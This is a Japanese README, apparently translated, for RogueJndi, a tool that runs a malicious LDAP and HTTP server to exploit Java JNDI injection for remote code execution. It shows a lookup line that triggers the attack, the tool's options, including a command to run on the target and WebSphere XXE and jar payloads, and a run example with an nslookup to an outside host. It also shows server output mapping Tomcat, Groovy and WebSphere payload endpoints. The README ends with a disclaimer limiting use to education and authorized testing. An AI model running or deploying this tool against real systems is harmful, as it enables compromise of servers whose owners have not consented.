
JNDIインジェクション攻撃用の悪意のあるLDAPサーバー
JNDI インジェクション攻撃用の悪意のある LDAP サーバー。
このプロジェクトには、デフォルトで安全ではない Java JNDI API を悪用するための LDAP および HTTP サーバーが含まれています。
攻撃を実行するには、これらのサーバーをローカルで起動し、脆弱なクライアント上で JNDI 解決をトリガーします。例:
InitialContext.doLookup("ldap://your_server.com:1389/o=reference");
これにより、脆弱なクライアントからローカル LDAP サーバーへの接続が開始されます。 次に、ローカルサーバーは、リモートコード実行を達成するのに役立つペイロードのいずれかを含む悪意のあるエントリで応答します。
既知の JNDI 攻撃手法(参照でのリモートクラスローディングによる)に加えて、このツールは ObjectFactories の力を活用することで、新しい攻撃ベクトルをもたらします。
$ java -jar target/RogueJndi-1.0.jar -h
+-+-+-+-+-+-+-+-+-+
|R|o|g|u|e|J|n|d|i|
+-+-+-+-+-+-+-+-+-+
Usage: java -jar target/RogueJndi-1.0.jar [options]
Options:
-c, --command Command to execute on the target server (default:
/Applications/Calculator.app/Contents/MacOS/Calculator)
-n, --hostname Local HTTP server hostname (required for remote
classloading and websphere payloads) (default:
192.168.1.10)
-l, --ldapPort Ldap bind port (default: 1389)
-p, --httpPort Http bind port (default: 8000)
--wsdl [websphere1 payload option] WSDL file with XXE payload
(default: /list.wsdl)
--localjar [websphere2 payload option] Local jar file to load (this
file should be located on the remote server) (default:
../../../../../tmp/jar_cache7808167489549525095.tmp)
-h, --help Show this help
最も重要なパラメータは、LDAP サーバーのホスト名(-n、ターゲットから到達可能である必要があります)と、ターゲットサーバー上で実行するコマンド(-c)です。
"-c" オプションの代替として、ExportObject.java ファイルを変更し、ターゲットサーバー上で実行する Java コードを記述することもできます。
$ java -jar target/RogueJndi-1.1.jar --command "nslookup your_dns_sever.com" --hostname "192.168.1.10"
+-+-+-+-+-+-+-+-+-+
|R|o|g|u|e|J|n|d|i|
+-+-+-+-+-+-+-+-+-+
Starting HTTP server on 0.0.0.0:8000
Starting LDAP server on 0.0.0.0:1389
Mapping ldap://192.168.1.10:1389/ to artsploit.controllers.RemoteReference
Mapping ldap://192.168.1.10:1389/o=reference to artsploit.controllers.RemoteReference
Mapping ldap://192.168.1.10:1389/o=tomcat to artsploit.controllers.Tomcat
Mapping ldap://192.168.1.10:1389/o=groovy to artsploit.controllers.Groovy
Mapping ldap://192.168.1.10:1389/o=websphere1 to artsploit.controllers.WebSphere1
Mapping ldap://192.168.1.10:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1
Mapping ldap://192.168.1.10:1389/o=websphere2 to artsploit.controllers.WebSphere2
Mapping ldap://192.168.1.10:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2
Java v1.7+ と Maven v3+ が必要です
mvn package
このソフトウェアは、教育目的および/またはユーザーが事前に攻撃の許可を得ているシステムのテストのみを目的として提供されています。